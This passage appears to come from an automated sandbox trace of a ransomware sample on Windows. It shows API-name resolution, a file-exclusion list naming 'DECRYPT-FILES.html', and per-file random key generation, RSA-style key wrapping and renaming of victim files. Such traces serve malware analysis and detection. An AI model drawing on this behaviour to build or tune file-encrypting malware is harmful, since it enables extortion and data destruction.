out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0120.000] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0120.000] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0120.000] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0120.000] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0120.000] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0120.000] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0120.000] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0120.000] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0120.001] lstrlenA (lpString="CREATEEVENTA") returned 12 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0120.001] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0120.001] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0120.001] lstrlenA (lpString="CREATEEVENTW") returned 12 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0120.001] lstrlenA (lpString="CREATEFIBER") returned 11 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0120.001] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0120.001] lstrlenA (lpString="CREATEFILE2") returned 11 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0120.001] lstrlenA (lpString="CREATEFILEA") returned 11 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0120.001] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0120.001] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0120.001] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0120.001] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0120.001] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0120.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0120.001] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0120.002] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0120.002] lstrlenA (lpString="CREATEFILEW") returned 11 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0120.002] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0120.002] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0120.002] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0120.002] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0120.002] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0120.002] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0120.002] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0120.002] lstrlenA (lpString="CREATEJOBSET") returned 12 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0120.002] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0120.002] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0120.002] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0120.002] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0120.002] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0120.002] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0120.002] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0120.002] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0120.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0120.003] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0120.003] lstrlenA (lpString="CREATEPIPE") returned 10 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0120.003] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0120.003] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0120.003] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0120.003] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0120.003] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0120.003] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0120.003] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0120.003] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0120.003] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0120.003] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0120.003] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0120.003] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0120.003] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0120.003] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0120.003] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0120.003] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0120.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0120.004] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0120.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0120.004] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0120.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0120.004] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0120.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0120.004] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0120.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0120.004] lstrlenA (lpString="CREATETHREAD") returned 12 [0120.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0120.004] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0120.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0120.004] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0120.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0120.004] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0120.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0120.004] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0120.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0120.004] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0120.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0120.004] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0120.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0120.004] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0120.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0120.005] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1032\\eula.rtf.F7Om2J") returned 42 [0120.005] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.F7Om2J" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.f7om2j"), dwFlags=0x0) returned 1 [0120.005] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.005] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.006] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.006] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0120.006] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0120.006] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0120.006] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0120.006] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0120.006] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0120.006] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0120.006] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0120.006] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0120.006] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0120.006] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0120.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\") returned 27 [0120.006] lstrlenW (lpString="LocalizedData.xml") returned 17 [0120.006] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1032\\" | out: lpString1="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0120.006] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" [0120.006] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0120.006] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0120.007] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=86284) returned 1 [0120.007] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0120.007] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0120.112] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0120.112] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0120.112] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0120.113] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0120.113] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0120.164] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.165] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0120.166] CloseHandle (hObject=0x5f8) returned 1 [0120.166] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.166] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0120.167] CloseHandle (hObject=0x0) returned 0 [0120.167] CloseHandle (hObject=0x5f4) returned 1 [0120.169] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.169] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.169] GetTickCount () returned 0x3378c [0120.169] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0120.169] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0120.169] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0120.170] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0120.170] lstrlenA (lpString="kernel32.dll") returned 12 [0120.170] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0120.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0120.170] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0120.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0120.170] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0120.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0120.170] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0120.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0120.170] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0120.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0120.170] lstrlenA (lpString="ADDATOMA") returned 8 [0120.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0120.170] lstrlenA (lpString="ADDATOMW") returned 8 [0120.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0120.170] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0120.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0120.170] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0120.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0120.171] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0120.171] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0120.171] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0120.171] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0120.171] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0120.171] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0120.171] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0120.171] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0120.171] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0120.171] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0120.171] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0120.171] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0120.171] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0120.171] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0120.171] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0120.171] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0120.171] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0120.171] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0120.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0120.172] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0120.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0120.172] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0120.172] lstrcpyA (in: 